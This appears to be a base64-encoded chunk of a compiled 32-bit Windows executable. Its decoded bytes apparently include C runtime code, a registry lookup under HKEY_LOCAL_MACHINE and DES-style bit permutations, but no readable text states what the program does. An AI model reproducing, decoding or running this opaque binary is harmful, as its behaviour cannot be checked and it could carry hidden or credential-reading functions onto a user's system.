AIu8JGABAADHAAEAAAAzwF2JB4lHBIlHCIlHDDPAX15bgcQsAQAAw7j/////XV9eW4HELAEAAMPM
zMzMVlcz/4t0JAwzwIoEN0dQaNDwQADohxgAAIPECIP/EHznX17DzMzMzMzMzMzMzMzMVmo6i3Qk
DFbo0xgAAIPECIXAdBPGAF9qOkBQ6MAYAACDxAiFwHXtagpW6LEYAACDxAiFwHQTxgBfagpAUOie
GAAAg8QIhcB17WoNVuiPGAAAg8QIhcB0E8YAX2oNQFDofBgAAIPECIXAde1ew8zMzIPsQI1EJARW
jUwkIFeLfCRMUMdEJBAAAAAAagBRagBoLPJAAFfo5u7//4PEGIXAdCdQ6Hn4//+DxARQaNTxQABo
EPZAAOh2FgAAg8QMuP////9fXoPEQMOLRCQMUOj+CgAAg8QEi/CF9nUdaKDxQABoEPZAAOhGFgAA
g8QIuP////9fXoPEQMONRCQMjUwkJFBWUWoAaCzyQABX6HDu//+DxBiFwHQwUOgD+P//g8QEUGhc
8UAAaBD2QADoABYAAIPEDFbopwcAAIPEBLj/////X16DxEDDi3wkUI1EJCCNTCQ4V41UJCBQjUQk
MFGNTCQgUo1UJBhQjUQkJFGNTCQwUotUJChQUVJW6FH5//+DxCyFwHQkV2g48UAAaBD2QADomhUA
AIPEDFboQQcAAIPEBDPAX16DxEDDi0QkGFDoTP7//4tEJBSDxARQ6D/+//+LRCQMg8QEUOgy/v//
i0QkGIPEBFDoJf7//4tEJByDxARXUGgw8UAA6IIWAACDxAyDfCQcAHQag3wkHP91B2gM8UAA6xGN
RCQoUOjA/f//6wpo6PBAAOhUFgAAg8QEaOTwQADoRxYAAIPEBIN8JCAAdBqDfCQg/3UHaAzxQADr
EY1EJDhQ6IX9///rCmjo8EAA6BkWAACDxARo5PBAAOgMFgAAi0QkFIPEBIA4AHQOUGjg8EAA6PUV
AACDxAiLRCQQgDgAdBaLRCQIgDgAdA1o3PBAAOjWFQAAg8QEi0QkCIA4AHQOUGjg8EAA6L8VAACD
xAho5PBAAOiyFQAAi0QkGIPEBIA4AHQOUGjg8EAA6JsVAACDxAho2PBAAOiOFQAAi0QkHIPEBFDo
8QUAAItEJAyDxARQ6OQFAACLRCQYg8QEUOjXBQAAg8QEVujOBQAAg8QEM8BfXoPEQMPMzMyB7JAA
AABTVou0JJwAAABXVTP/u4AAAACNRCQYjUwkFI1UJCBQiVwkGGoAagBqAFFSV1bomOr//4PEIIvo
he11VkeNRCQQjUwkIFBqAWoAUVboiuf//4PEFIvohe11RY1EJCBqEGoAUOhjGAAAg8QMhcB0ElCL
RCQUUOjR/P//g8QIhcB1T4tEJBBQ6BDq//+DxASF7XSBM8BdX15bgcSQAAAAw1XoVvX//4PEBFCN
RCQkUGgw8kAAaBD2QADoThMAAIPEELj/////XV9eW4HEkAAAAMOLRCQQUOjB6f//g8QEuP////9d
X15bgcSQAAAAw8zMzMzMzMzMzMzMzMzMg+wIx0QkAAIAAIBo7PJAAGgQ9kAA6PYSAACDxAiDfCQM
AnQcaMjyQABoEPZAAOjdEgAAg8QIav/o4xcAAIPEBI1EJACLTCQQUItRBFLo3uz//4PECIXAdBhQ
aLDyQADo7BMAAIPECGoB6LIXAACDxASNRCQEi0wkAFBqCWoAaJTyQABR6Ffm//+DxBSFwHQYUGh4
8kAA6LUTAACDxAhqAeh7FwAAg8QEi0QkBFDoTv7//4tEJAiDxARQ6OHo//+LRCQEg8QEUOhU7v//
g8QEM8CDxAjDzMzMzMzMzMzMzMxTM8CLVCQIjQwCM9tAihmD+AiKmwDQQACIGXLrW8PMzFa6IPNA
AItEJAhXuQQAAACL8ov486Z0EIPCCIH6oPNAAHLoM8BfXsO4AQAAAF9ew4PsBIM9GPNAAABTVldV
i3wkGHQ0V+iWAgAAg8QEhcB1Dbj/////XV9eW4PEBMNX6Jz///+DxASFwHQNuP7///9dX15bg8QE
w4tEJByNdwEzyTPSig6KF8HhCEYLykYz0opW/0bB4hALyjPSilb/RsHiGDPbih4LysHjCDPSilb/
RgvTM9uKHsHjEAvTM9uKXgHB4xgL04vywe4EM/GB5g8PDw8zzsHmBDPWi/HB5hIz8YHmAADMzIv+
we8SM/6L8sHmEjPPM/KB5gAAzMyL/sHvEjP+M9eL8sHuATPxgeZVVVVVM84D9jPWi/HB7ggz8oHm
/wD/ADPWweYIM86L8sHuATPxgeZVVVVVM84D9jPWi/GB5g8AAPCL+sHuBIHnAAD/AMHvEAv3i/qB
5/8AAACB4gD/AADB5xCB4f///w8L97+g80AAC/KL0YM/AHQUweoCweEaC9GLyovWweoCweYa6xLB
6gHB4RsL0YvKi9bB6gHB5hsL1oHh////D4vyi9mB5v///w+B4wAAEADB6xKL0YHiAADAAIvpweoT
geXAAAAAC9qJdCQQgWQkEIABAACL0YHiAAAADsHqFAvai9GB4gAeAACLmwDUQADB6gEL1YvpweoE
geUA4AEAC5oA0kAAi9GB4gAADADB6gEL1YvuweoLgeUAAOABwe0TC5oA00AAi9GD4j8LHJUA0UAA
i9aB4gAAAAzB6hQL1YvugeUAPAAAi5IA2EAAwe0BC2wkEMHtBQuVANZAAIvugeUAgB8Awe0NC5UA
10AAi+6D5T8LFK0A1UAAi+rB5RCJXCQQwesQg8AEgeIAAP//g8AEC9qDxwTByxqBZCQQ//8AAAts
JBDBzR6JaPiB/+DzQACJWPwPgrD+//8zwF1fXluDxATDzMzMzMzMzMzMzMzMzMxTM8mLRCQIihQI
M9uK2jiTANBAAHUNQYP5CHLruAEAAABbwzPAW8PMzMzMzMzMzMyLRCQEg+wIM8lTjVABM9uKGEIz
wIpK/8HhCIoCweAQC8sLyEIzwEKKQv9CweAYC8gzwEKJTCQEM8mKQv/B4AiKSv4LyDPAigLB4BAL
yDPAikIBi1QkHMHgGFILyItEJByJTCQMUI1MJAxR6NHq//+LTCQQi1QkIIPEDEJCi8HB6BBCiEr9
iGr+QsHpGIhC/ohK/4tMJAiICkJCi8HB6BBbiGr/wekYiAKISgGDxAjDzItEJASFwHQPUGoAoewO
QQBQ/xUgIUEAw8zMzMzMzMzMVmobxwEE4UAAi/HoIBYAAIPEBItGBIXAdAlQ6MD///+DxARqG+h2
FgAAg8QEXsPMVovx6Mj////2RCQIAXQJVujbBwAAg8QEi8ZewgQAzMyD7CC5CAAAAFZXvgjhQACN
fCQI86WLRCQsi0wkMI1UJByJRCQgi0QkGFKLVCQMUIlMJCyLTCQUUVL/FSQhQQBfXoPEIMIIAMzM
zMzMzMzMzFboigAAAItMJAgz9okIuFj0QAA5CHQig8AIRj3A9UAAcvGD+RNyIoP5JHcd6E8AAABe
xwANAAAAw+hCAAAAiwz1XPRAAF6JCMOB+bwAAAByFYH5ygAAAHcN6CIAAABexwAIAAAAw+gVAAAA
XscAFgAAAMPMzMzMzMzMzMzMzMzM6JsXAACDwAjDzMzMzMzMzOiLFwAAg8AMw8zMzMzMzMxWV4t0
JBhW6HQVAACLRCQYi0wkFItUJBCDxARWUFFS6BwAAACDxBCL+FbowRUAAIPEBIvHX17DzMzMzMzM
zMzMi0wkBIPsDItEJBhTiUwkBFYPr0QkHIlEJAxXVYXAi+h1CjPAXV9eW4PEDMOLXCQs90MMDAEA
AHQJi0MYiUQkGOsIx0QkGAAQAACDfCQUAA+EoQAAAPdDDAwBAAB0MotDBIXAdCs76IvVcgKL0IvK
i8LB6QKLfCQQizMr6vOli8iD4QPzpClTBAETAVQkEOteOWwkGHc4g3wkGACLzXQMi82LxSvS93Qk
GCvKUYtDEItMJBRRUOj2FwAAg8QMhcB0QYP4/3RUK+gBRCQQ6yBT6NwWAACDxASD+P90VotMJBBN
/0QkEIgBi0MYiUQkGIXtD4Vf////i0QkKF1fXluDxAzDi0QkFCvSg0sMECvF93QkJF1fXluDxAzD
i0QkFCvSg0sMICvF93QkJF1fXluDxAzDi0QkFCvSK8X3dCQkXV9eW4PEDMPMzMzMzMzMzMzMoYT5
QACLTCQEUFHoEAAAAIPECMPMzMzMzMzMzMzMzMxWV4t0JAyD/uB2BTPAX17DhfZ1Bb4BAAAAi3wk
EFboHQAAAIPEBIXAdROF/3QPVui8GQAAg8QEhcB14jPAX17Di0QkBIsN7A5BAFBqAFH/FSghQQDD
zMzMzMzMzMzMzMxVi0QkDIvsg8AMg+wEiUX8U2SLHQAAAACLA2SjAAAAAItFCItdDItj/Itt/P/g
W4vlXcIIAMzMzMzMzMzMzMzMWFmHBCT/4MzMzMzMzMzMzFhZhwQk/+DMzMzMzMzMzMxYWYcEJP/g
zMzMzMzMzMzMVYvsg+wIU1ZXZKEAAAAAiUX4x0X8bEFAAGoAi0UMUItF/FCLRQhQ6BR/AACLRQyD
YAT9ZKEAAAAAi134iQNkiR0AAAAA6QAAAABfXlvJwggAzMzMzMzMzMzMzMzMzMzMVYvsg+wIU1ZX
/IlF+GoAi0X4agCLTRRqAItVEFBRUotFDFCLTQhR6NQYAACDxCCJRfxfXluLRfyL5V3DzMzMzItE
JAiLTCQEg+wUiUQkCIlMJAzHRCQAAAAAAMdEJARQQkAAi0QkJECJRCQQZKEAAAAAiUQkAI1EJABk
owAAAACLRCQoUFGLTCQoUejgIgAAi8iLRCQAZKMAAAAAi8GDxBTDzMzMzMzMzMzMzMzMzMz8i0wk
CGoAUYtBEFCLUQiLRCQYUmoAi0kMi1QkGFBRUugrGAAAg8Qgw8zMzMzMzMxVi+yD7DRTVlfHRdgA
AAAAx0XcYENAAItFGIlF4ItFDIlF5ItFHIlF6ItFIIlF7MdF8AAAAADHRfQAAAAAx0X4AAAAAMdF
/AAAAADHRfAZQ0AAiWX0iW34ZKEAAAAAiUXYjUXYZKMAAAAAx0XMAQAAAItFCIlF0ItFEIlF1I1F
0FCLRQiLAFDoNBMAAP9QaIPECMdFzAAAAACDffwAD4QaAAAAZIsdAAAAAIsDi13YiQNkiR0AAAAA
6QkAAACLRdhkowAAAACLRczpAAAAAF9eW8nDzMzMzMzMzMzMzMzMzFWL7FNW/It1CPZGBGZ0E4tF
DF5bXcdAJAEAAAC4AQAAAMNqAYtFDItIFItQEFFSi0gIi1UQUWoAUotIDFFW6P0WAACDxCCLTQyD
eSQAdQdWUeiK/f//i10Mi2Mci2sg/2MYuAEAAABeW13DzFWL7FNWV1VqAGoAaORDQAD/dQjonHwA
AF1fXluL5V3Di0wkBPdBBAYAAAC4AQAAAHQPi0QkCItUJBCJArgDAAAAw1NWV4tEJBBQav5o7ENA
AGT/NQAAAABkiSUAAAAAi0QkIItYCItwDIP+/3QuO3QkJHQojTR2iwyziUwkCIlIDIN8swQAdRJo
AQEAAItEswjoQAAAAP9Uswjrw2SPBQAAAACDxAxfXlvDM8Bkiw0AAAAAgXkE7ENAAHUQi1EMi1IM
OVEIdQW4AQAAAMNTUbvA9UAA6wpTUbvA9UAAi00IiUsIiUMEiWsMWVvCBADMzMzMzMxWV4t8JAxX
6HQPAACLRCQYi0wkFIPEBFBRV+ghAAAAg8QMi/BX6MYPAACDxASLxl9ew8zMzMzMzMzMzMzMzMzM
U1aLdCQMV4tGDKiDdHiLfCQYhf90CoP/AXQFg/8CdWaD4O+D/wGJRgx1E1Yz/+jNIgAAi1wkGIPE
BAPY6wSLXCQUVuhoIQAAg8QEi0YMqIB0CIPg/IlGDOsUqAF0EKgIdAz2xAR1B8dGGAACAABXi0YQ
U1Do5x8AAIPEDECD+AFfG8BeW8PoFfn//1/HABYAAAC4/////15bw8zMzMzMzItEJARQ6Lb3//+D
xATDzMyD7CBTVot0JDBXVeiAEAAAi+iNfCQQM8C5CAAAAPOrigYz24rIsgHA6QNGitmKyIDhB9Li
CFQcEITAdeOLRCQ0hcB1A4tFGIoIM9uK0b4BAAAAwOoDgOEHitoz0tPmilQcEIXWdCaAOAB0IYpI
AUCK0TPbwOoDvgEAAACK2oDhB9PmM9KKVBwQhdZ12ovwgDgAdCuKCDPSitmA4QfA6wOK0zPbilwU
ELoBAAAA0+KF2nUIQIA4AHXb6wTGAABAiUUYK8Zdg/gBuAAAAABfg9D/I8ZeW4PEIMPMzMzMzMzM
zItEJARqAVDo1Pn//4PECMOLTCQMV4XJdHpWU4vZi3QkFPfGAwAAAIt8JBB1B8HpAnVv6yGKBkaI
B0dJdCWEwHQp98YDAAAAdeuL2cHpAnVRg+MDdA2KBkaIB0eEwHQvS3Xzi0QkEFteX8P3xwMAAAB0
EogHR0kPhIoAAAD3xwMAAAB17ovZwekCdWyIB0dLdfpbXotEJAhfw4kXg8cESXSvuv/+/n6LBgPQ
g/D/M8KLFoPGBKkAAQGBdN6E0nQshPZ0HvfCAAD/AHQM98IAAAD/dcaJF+sYgeL//wAAiRfrDoHi
/wAAAIkX6wQz0okXg8cEM8BJdAozwIkHg8cESXX4g+MDdYWLRCQQW15fw8zMVle//////4t0JAz2
RgxAdAzHRgwAAAAAi8dfXsNW6H0MAACDxARW6BQAAACDxASL+Fbo2QwAAIPEBIvHX17DzFZXv///
//+LdCQM9kYMg3RCVui5HgAAg8QEi/hW6K4iAACDxASLRhBQ6KIhAACDxASFwH0Hv//////rF4tG
HIXAdBBQ6Df1///HRhwAAAAAg8QEx0YMAAAAAIvHX17DzFZX6LkkAACL8IX2dQUzwF9ew4tEJBRW
i0wkFFCLVCQUUVLoiSIAAIPEEIv4Vug+DAAAg8QEi8dfXsPMzMzMzMyLRCQIakCLTCQIUFHor///
/4PEDMPMzMzMzMzMzMzMzIM95A5BAABWV3QRahO+AQAAAOj5CgAAg8QE6wgz9v8F6A5BAItEJBSL
TCQQi1QkDFBRUugoAAAAg8QMi/iF9nQPahPoOAsAAIPEBIvHX17Di8f/DegOQQBfXsPMzMzMzIPs
CDPAiUQkBFNWV4t0JBhVi2wkJDvwdAw76HUIXV9eW4PECMOF9g+EzwEAAIM9CPtAAAAPhHUBAACD
PRz7QAABdW6F7XQSi3wkIFVX6B4CAACDxAiL6OsEi3wkII1EJBRQagBViw0Y+0AAVlVXaCACAABR
/xUwIUEAhcB0G4N8JBQAdRSAfDD/AA+F0gEAAEhdX15bg8QIw+gC9f//XccAKgAAALj/////X15b
g8QIw41EJBSLfCQgUGoAVYsNGPtAAFZq/1doIAIAAFH/FTAhQQCL2IXbdBaDfCQUAA+FswAAAI1D
/11fXluDxAjDg3wkFAAPhZ0AAAD/FTQhQQCD+HoPhY4AAAA73XNUjUQkFIsNHPtAAI1UJBJQagCh
GPtAAFFSagFXagBQ/xUwIUEAhcB0SoN8JBQAdUONDAM7zXcoM9KFwH4RikwUEogMM4TJdCFCQzvC
f++DxwI73XKsi8NdX15bg8QIw4vDXV9eW4PECMOLw11fXluDxAjD6Bz0//9dxwAqAAAAuP////9f
XluDxAjD6AT0//9dxwAqAAAAuP////9fXluDxAjDhe0PhKsAAACLfCQgZosPZoH5/wB3H4gMMIvP
g8cCZoM5AA+EiwAAAEA7xXLfXV9eW4PECMPot/P//13HACoAAAC4/////19eW4PECMODPQj7QAAA
dRWLfCQgV+jxIgAAg8QEXV9eW4PECMONRCQUi3wkIFBqAGoAiw0Y+0AAagBq/1doIAIAAFH/FTAh
QQCFwHQQg3wkFAB1CUhdX15bg8QIw+hJ8///xwAqAAAAuP////9dX15bg8QIw8zMzMzMzItMJARW
i/GLRCQMi9CFwHQMZoM+AHQGg8YCSnX0hdJ0DmaDPgB1CCvxwf4BjUYBXsPMzMzMzMzMzMzMzMzM
zMxTVot0JAxXVuiDCAAAg8QEVuhaIgAAi0wkGIPEBIv4jUQkGFBRVuglIwAAg8QMi9hWV+jZIgAA
g8QIVujACAAAg8QEi8NfXlvDzMzMzMzMzIM9EB9BAABWdQzHBRAfQQAAAgAA6xODPRAfQQAUfQrH
BRAfQQAUAAAAagShEB9BAFDomi8AAIPECKMAD0EAhcB1KccFEB9BABQAAABqBGoU6HsvAACDxAij
AA9BAIXAdQpqGujIBgAAg8QEudD1QAAzwIsVAA9BAIPABIlMAvyDwSCD+FB86zP2uuD1QACLxovO
g+Dng+EfwfgDweECi4DgDUEAjQzJiwQIg/j/dASFwHUGxwL/////g8IgRoH6QPZAAHLJXsPMzMzM
zMzMzMzoSxoAAIA9mPhAAAB0BelNLwAAw8zMzMzMzMzMzMzMzFZXaPD1QABqAeiCBwAAg8QIaPD1
QADoFSEAAItMJBCDxASL+I1EJBBQUWjw9UAA6NwhAACDxAyL8Gjw9UAAV+iMIQAAg8QIaPD1QABq
AeitBwAAg8QIi8ZfXsPMzMzMzI1C/1vDLovALovALovAi8AzwIpEJAhTi9jB4AiLVCQI98IDAAAA
dBOKCkI42XTRhMl0UffCAwAAAHXtC9hXi8PB4xBWC9iLCr///v5+i8GL9zPLA/AD+YPx/4Pw/zPP
M8aDwgSB4QABAYF1HCUAAQGBdNMlAAEBAXUIgeYAAACAdcReX1szwMOLQvw42HQ2hMB07zjcdCeE
5HTnwegQONh0FYTAdNw43HQGhOR01OuWXl+NQv9bw41C/l5fW8ONQv1eX1vDjUL8Xl9bw8zMzMyL
RCQEg+wEU1ZXihhVjXgBM+2+AQAAADk1HPtAAH4RaggzwIrDUOjlLwAAg8QI6xMzyYsVYPtAAIrL
M8BmiwRKg+AIhcB0BYofR+vLgPstdQyKH4t0JCSDzgJH6wyA+yt1A4ofR4t0JCSDfCQgAA+MugEA
AIN8JCABD4SvAQAAg3wkICQPj6QBAACDfCQgAHUrgPswdArHRCQgCgAAAOscigc8eHQOPFh0CsdE
JCAIAAAA6wjHRCQgEAAAAIN8JCAQdRSA+zB1D4oHPHh0BDxYdQWKXwFHR7j/////K9L3dCQgiUQk
EIM9HPtAAAF+EWoEM8CKw1DoFS8AAIPECOsTM8mLFWD7QACKyzPAZosESoPgBIXAdAgPvsuD6TDr
RYM9HPtAAAF+FGgDAQAAM8CKw1Do2S4AAIPECOsVM8mLFWD7QACKyzPAZosESiUDAQAAhcB0SQ++
w1DoUi0AAIPEBI1IyTtMJCBzNIPOCDlsJBB3HHUPuP////8r0vd0JCA70XMLih+DzgRH6Vf///+K
H0cPr2wkIAPp6Uj///9P98YIAAAAdRCLTCQchcl0BIt8JBgz7etd98YEAAAAdSP3xgEAAAB1SYvG
g+ACdAiB/QAAAIB3DIXAdTaB/f///392LuiZ7v//98YBAAAAxwAiAAAAdAe9/////+sU98YCAAAA
dAe9AAAAgOsFvf///3+LTCQchcl0Aok598YCAAAAdAL33YvFXV9eW4PEBMOLTCQchcl0BotEJBiJ
ATPAXV9eW4PEBMPMzMzMzMzMzMzMi0QkDGoBi0wkDFCLVCQMUVLomv3//4PEEMPMzMzMzMyh/A5B
AIXAdAL/0GgY8EAAaAzwQADoNgEAAIPECGgI8EAAaADwQADoJAEAAIPECMOLRCQEagBqAFDoMgAA
AIPEDMPMzMzMzMzMzMzMzMzMzItEJARqAGoBUOgSAAAAg8QMw8zMzMzMzMzMzMzMzMzMU1ZX6LgA
AACDPaD4QAABi3QkEHUOVv8VQCFBAFD/FTwhQQDHBZz4QAABAAAAg3wkFACLXCQYiB2Y+EAAdT+D
PfgOQQAAdCSLPfQOQQCD7wQ5PfgOQQB3E4sHhcB0Av/Qg+8EOT34DkEAdu1oJPBAAGgc8EAA6GYA
AACDxAhoLPBAAGgo8EAA6FQAAACDxAiF23QJ6DgAAABfXlvDxwWg+EAAAQAAAFb/FTghQQBfXlvD
zMzMzMzMzMzMzMzMzMzMag3o6QEAAIPEBMPMzMzMzGoN6EkCAACDxATDzMzMzMxWV4t8JBCLdCQM
O/52D4sGhcB0Av/Qg8YEO/538V9ew2ShAAAAAFWL7Gr/aCjhQABotIlAAFBkiSUAAAAAg+wQU1ZX
iWXo/xVIIUEAM9KLyIrUgeH/AAAAwegQiRVw+EAAiQ1s+EAAo2T4QADB4QgDyokNaPhAAOgEAQAA
6F8DAACFwHUKahDoxAAAAIPEBMdF/AAAAADodScAAOggNwAA/xVEIUEAo/AOQQDoYDIAAKOk+EAA
hcB0CYM98A5BAAB1Cmr/6Bf+//+DxATozy8AAOjqLgAA6NX9//+hgPhAAKOE+EAAUKF4+EAAUKF0
+EAAUOjJ5f//g8QMUOjg/f//6yeLReyLAIsAiUXki0XsUItF5FDoJy0AAIPECMOLZeiLReRQ6Nf9
//+DxATHRfz/////i0XwX2SjAAAAAF5bi+Vdw8zMzMzMzMzMzMzMzMyDPbD4QAACdAXoUjcAAItE
JARQ6Ig3AACDxARo/wAAAP8VrPhAAIPEBMPMzMzMzMxqAGgAEAAAagD/FUwhQQCj7A5BAMPMzMzM
zMzMzMzMzFahBPlAAFCLNVAhQQD/1osN9PhAAFH/1qHk+EAAUP/WocT4QABQ/9Zew8zMzMzMzFWL
RCQIi+xWV408hcD4QACDPwB1RmoY6ITs//+DxASL8IX2dQpqEehU////g8QEahHoyv///4PEBIM/
AFZ1Cv8VUCFBAIk36wjoYun//4PEBGoR6BgAAACDxASLB1D/FVghQQBfXl3DzMzMzMzMzMxVi0Qk
CIvsiwyFwPhAAFH/FVwhQQBdw8zMzMzMzMzMzFWLRCQIi+w90PVAAHIcPTD4QAB3FS3Q9UAAwfgF
g8AcUOhK////i+Vdw4PAIFD/FVghQQBdw8zMzMzMzMzMzMxVi0QkCIvsg/gUfQ2DwBxQ6Bv///+L
5V3Di0UMg8AgUP8VWCFBAF3DzMzMzMzMzMxVi0QkCIvsPdD1QAByHD0w+EAAdxUt0PVAAMH4BYPA
HFDoSv///4vlXcODwCBQ/xVcIUEAXcPMzMzMzMzMzMzMVYtEJAiL7IP4FH0Ng8AcUOgb////i+Vd
w4tFDIPAIFD/FVwhQQBdw8zMzMzMzMzM6QsAAADMzMzMzMzMzMzMzGiwVUAA6BY4AACDxARoUFVA
AP8VYCFBAKMQDEEAw8zMVot0JAiLBoE4Y3Nt4HUdg3gQA3UXgXgUIAWTGXUO6J04AAC4AQAAAF7C
BACDPRAMQQAAdB2hEAxBAFDoYDgAAIPEBIXAdAtW/xUQDEEAXsIEADPAXsIEAMzMzMzMzMzMoRAM
QQBQ/xVgIUEAw8zMzFbouv3///8VbCFBAKOA+UAAg/j/dQQzwF7DanRqAejtJQAAg8QIi/CF9nQw
VqGA+UAAUP8VaCFBAIXAdB9W6B0AAACDxAT/FWQhQQCJBrgBAAAAx0YE/////17DM8Bew4tEJATH
QFBw/UAAx0AUAQAAAMPMzMzMzMzMzMzMzMzMVlf/FTQhQQCL8KGA+UAAUP8VdCFBAIv4hf91R2p0
agHoayUAAIPECIv4hf90K1ehgPlAAFD/FWghQQCFwHQaV+ib////g8QE/xVkIUEAiQfHRwT/////
6wpqEOiQ/P//g8QEVv8VcCFBAIvHX17DzFaLdCQIi0YMqIMPhN4AAACoQA+F1gAAAKgCdA2DyCCJ
Rgy4/////17Dg8gBiUYMqQwBAAB1C1boJDgAAIPEBOsFi0YIiQaLRhiLTghQi1YQUVLoqQAAAIPE
DIlGBIXAdHGD+P90bItWDPbCgnU4i04QuDj7QACD+f90GYvBg+EfweECg+DnwfgDjQzJi4DgDUEA
A8GKQAQkgjyCdQmBygAgAACJVgyBfhgAAgAAdROLRgyoCHQM9sQEdQfHRhgAEAAA/04Eiw6NQQGJ
BjPAigFew4P4ARvAg+Dwg8AgCUYMuP/////HRgQAAAAAXsO4/////17DzMzMzMzMzMzMzMxWV4t0
JAw7NeAOQQBzTIvGi86D4OeD4R/B+APB4QKLkOANQQCNBMn2RAIEAXQsVuhcOgAAi0QkGItMJBSD
xARQUVboOQAAAIPEDIv4VuiuOgAAg8QEi8dfXsPokeb//8cACQAAAOiW5v//X8cAAAAAALj/////
XsPMzMzMzMzMzItUJAiD7BCLTCQcU1aFycdEJAwAAAAAV1UPhAcCAACLRCQkg+DnwfgDjajgDUEA
i0QkJIPgH8HgAo0cwItFAAPD9kAEAg+F2wEAAPZABEh0G4pABTwKdBSIAkJJi0UAx0QkFAEAAADG
RBgFCo1EJBhqAFBRUotNAIsUGVL/FXghQQCFwHVR/xU0IUEAg/gFi/B1H+jY5f//xwAJAAAA6N3l
//9diTC4/////19eW4PEEMOD/m11CjPAXV9eW4PEEMNW6Cnl//+DxAS4/////11fXluDxBDDi0Qk
GItNAAFEJBSNRBkEigj2wYAPhCkBAACDfCQYAHQOi1QkKIA6CnUFgMkE6wOA4fuLfCQoiAiL94tE
JBQDx4lEJBw7+A+D7wAAAIoGPBoPhNIAAAA8DXQIRogH6bkAAACLTCQcSTvOdhyNTgGAOQp1C4PG
AsYHCumdAAAAi/GIB+mUAAAARmoAjUQkHI1MJBdQi1UAx0QkHAAAAABqAYsEGlFQ/xV4IUEAhcB1
Cv8VNCFBAIlEJBSDfCQUAHVYg3wkGAB0UYtFAPZEGARIdB2AfCQTCnUFxgcK6z7GBw1HikQkE4tN
AIhEGQXrLjl8JCh1DIB8JBMKdQXGBwrrG4tEJCRqAWr/UOjLCwAAg8QMgHwkEwp0BMYHDUc5dCQc
D4cm////6xOLRQCNRBgEigj2wUB1BYDJAogIK3wkKIl8JBSLRCQUXV9eW4PEEMMzwF1fXluDxBDD
agnoSfn//4PEBKEUDEEAhcB0HotMJARR/9CDxASFwHQQagnomPn//4PEBLgBAAAAw2oJ6Ij5//+D
xAQzwMPMzFaLdCQYgT4gBZMZdAXo3jMAAItMJAj2QQRmdCmDfgQAdByDfCQcAHUVi0QkFGr/i0wk
EFZQUeilBAAAg8QQuAEAAABew4N+DAB0aoE5Y3Nt4HU6gXkUIAWTGXYxi0Eci1AIhdJ0J4tEJCRQ
i0QkJFCLRCQkUFaLdCQki0QkIFZQi3QkJFZR/9KDxCBew4tEJCCLVCQcUFKLRCQsi1QkGFBWi3Qk
JItEJBxWUlBR6A4AAACDxCC4AQAAAF7DzMzMzItEJAiD7BhTi0gIiUwkCFZXg/n/VXwJi0QkPDlI
BH8F6AszAACLTCQsgTljc23gdXqDeRADdXSBeRQgBZMZdWuDeRwAdWXolfr//4N4bAAPhEMCAADo
hvr//4tIbIlMJCzoevr//4tAcGoBi0wkMIlEJDhR6NcxAACDxAiFwHUF6KsyAACLTCQsgTljc23g
dRqDeRADdRSBeRQgBZMZdQuDeRwAdQXohTIAAItMJCyBOWNzbeAPhZkBAACDeRADD4WPAQAAgXkU
IAWTGQ+FggEAAI1EJCCNTCQci1QkFFCLRCRIUYtMJERSUFHokAIAAItMJDCJRCQkg8QUOUwkIA+G
MQEAAItMJBSLRCQQOQgPjwoBAAA5SAQPjAEBAACLUBCLSAyJTCQYhckPhO8AAACLTCQsi0Eci0AM
jWgEiwCFwA+EjwAAAItMJCyLcgSF9otZHItNAIlcJCR0ZYB+CAB0XzlxBHQyg8YIi3kEg8cIih46
H3UaCtt0EopeATpfAXUOg8YCg8cCCtt15DP26wUb9oPe/4X2dST2AQJ0BfYCCHQai0wkJIsJ9sEB
dAX2AgF0CvbBAnQJ9gICdQQzyesFuQEAAACFyXUgSIPFBIXAD4Vx////g8IQ/0wkGIN8JBgAD4VI
////6zWLRCRIi0wkRItcJBBQUYtFAItMJERTUFKLVCRMUYtEJExSi0wkTFCLVCRMUVLo9AIAAIPE
KINEJBAU/0QkHItEJBw5RCQgD4fP/v//gHwkQAB0W4tMJCxqAVHotwYAAIPECF1fXluDxBjDgHwk
QAB1OItEJEiLTCREi1QkFFCLRCRAUYtMJEBSi1QkQFCLRCRAUYtMJEBSUFHoGAAAAIPEIF1fXluD
xBjD6BgwAABdX15bg8QYw4PsCFNWV1XoNPj//4N4aAB0NYtEJDiLfCQ0i3QkLFCLRCQsV4tMJCxW
i1QkLFCLRCQsUVJQ6Ebk//+DxByFwA+FigAAAOsIi3QkLIt8JDSNRCQUjUwkEItcJDBQUVNXVuh7
AAAAg8QUi+iLRCQQOUQkFHZbOV0Af0U5XQR8QItNDMHhBANNEItB9IXAdAaAeAgAdSqLRCQ4g+kQ
i1QkKFCLRCQoV1VqAFFWi0wkOFKLVCQ4UFFS6LUBAACDxCiDxRT/RCQQi0QkEDlEJBR3pV1fXluD
xAjDzMzMzMzMzMzMi0QkBIPsDFOLSBCJTCQMVleLcAyLfCQgVYl0JBCJdCQUhf98RI0MtQAAAACL
RCQYi1wkKI0UiY1sAgSD/v91BehrLwAAg+0UTjldAH0FOV0EfQWD/v91DU+LTCQUiUwkEIl0JBSF
/33SRotEJCyLVCQwi0wkEIkwi0QkIIkKOUgMcgQ7znMF6CQvAADB5gKLRCQYXV+NDLZeA8Fbg8QM
w2ShAAAAAFWL7Gr/aDjhQABotIlAAFCLRQhkiSUAAAAAg8AIg+wUiwiJReCJTeRTO00UVleJZeh0
cIN95P9+C4tFEItN5DlIBH8F6MEuAADHRfwAAAAAi0UQi0AIi03ki0TIBIlF3IXAdCRoAwEAAItF
CFCLRdxQ6BQFAADrEItF7FDoSQAAAIPEBMOLZejHRfz/////i0UQi03ki1AIiwTKiUXkO0UUdZCL
RRQ5ReR0BehaLgAAi0Xki03gX15biQGLRfCL5WSjAAAAAF3DzMyLRCQEiwiBOWNzbeB1BeitLQAA
M8DDzMzMzMzMzMzMzItEJBxTVoXAV1V0Got8JBhQi0QkLIt0JBhQV1bozwEAAIPEEOsIi3QkFIt8
JBiLRCQ4VoXAdQNX6wFQ6JDg//+LbCQwi1wkJItMJCCLRQBQU1FX6Lj+//+LTCREg8QQi0UEaAAB
AABAUYtUJDCLTCQkiUcIi0IMUFNRV1boHwAAAIPEHIXAdAdXUOjR3///XV9eW8PMzMzMzMzMzMzM
zMxkoQAAAABVi+xq/2hI4UAAaLSJQABQZIklAAAAAIPsIFNWV4tdGIt1DIll6Ild5I1G/IlF4IsI
iU3U6PH0//+LSGyJTdjo5vT//4tIcIlN3Ojb9P//i00IiUhs6ND0//+LTRCJSHDHRfwBAAAAi0Ug
UItFHFBTi0UUUFboUOD//4PEFIlF5MdF/P/////oOwAAAItF5ItN8F9kiQ0AAAAAXluL5V3Di0Xs
